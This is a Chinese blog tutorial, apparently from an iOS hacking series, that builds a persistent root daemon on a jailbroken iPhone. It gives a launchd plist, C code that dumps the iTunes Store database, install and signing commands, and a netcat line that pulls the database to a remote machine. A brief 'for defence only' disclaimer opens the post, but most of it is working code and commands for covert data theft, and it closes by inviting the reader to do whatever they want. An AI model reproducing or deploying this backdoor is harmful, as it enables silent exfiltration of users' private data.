后台 daemon 非法窃取用户 iTunesstore 信息
本人郑重声明:并不鼓励窃取用户隐私等行为,一切 hack 学习都只是为了研究如何防御。OK,进入正题。
开机自启动
在 iOS 安全攻防(一):Hack必备的命令与工具中,介绍了如何编译自己的 C 程序并手动启动。今天介绍如何使程序变为开机自启动。
首先打开 Xcode 创建一个 plist 属性文件,如下图所示:
其中要注意一下通信服务名,我定为 55 。用编辑器打开,即为:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Program</key>
<string>/usr/bin/ncdemo</string>
<key>StandardErrorPath</key>
<string>/dev/null</string>
<key>SessionCreate</key>
<true/>
<key>ProgramArguments</key>
<array>
<string>/usr/bin/ncdemo</string>
</array>
<key>inetdCompatibility</key>
<dict>
<key>Wait</key>
<false/>
</dict>
<key>Sockets</key>
<dict>
<key>Listeners</key>
<dict>
<key>SockServiceName</key>
<string>55</string>
</dict>
</dict>
</dict>
</plist>
最后,将 plist 文件 scp 至 root@192.168.1.114:/System/Library/LaunchDaemons/
下 。
编写读取 iTunesstore 数据库程序
读取 itunesstored2.sqlitedb 信息,并输出到 stdout 中,便于我们读取。
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#define FILE "/var/mobile/Library/com.apple.itunesstored/itunesstored2.sqlitedb"
int main(){
int fd = open(FILE, O_RDONLY);
char buf[128];
int ret = 0;
if(fd < 0)
return -1;
while (( ret = read(fd, buf, sizeof(buf))) > 0){
write( fileno(stdout), buf, ret);
}
close(fd);
return 0;
}
编译、拷贝、签名
编译方法上篇文章已经介绍清楚,这里不再重复,直接 ¥%¥#%¥……%# 生成运行在 ARM 的 ncdemo
将 ncdemo scp 到设备中,并登录
$ scp ncdemo root@192.168.1.114:ncdemo
$ ssh root@192.168.1.114
签名
#ldid -S ncdemo
#mv ncdemo /usr/bin
抓取 iTunesstore 数据信息
这时,我们只需要利用 netcat,指定之前定义的服务名称,轻松在本地抓取设备 iTunesstore 信息.
$ nc 192.168.1.114 55 > itunesstored2.sqlitedb
分析 iTunesstore 数据信息
好吧,这里就介绍个最简单的应用,利用string命令查看:
$ strings itunesstored2.sqlitedb
于是乎,我们就清晰的得到了 iPhone/iPad 设备上都安装了哪些 app :
当然,除了这些,你想干什么都可以……夜深了,先写到这里吧……
上一篇: Hack 必备的命令...
下一篇: 使用 Reveal 分析...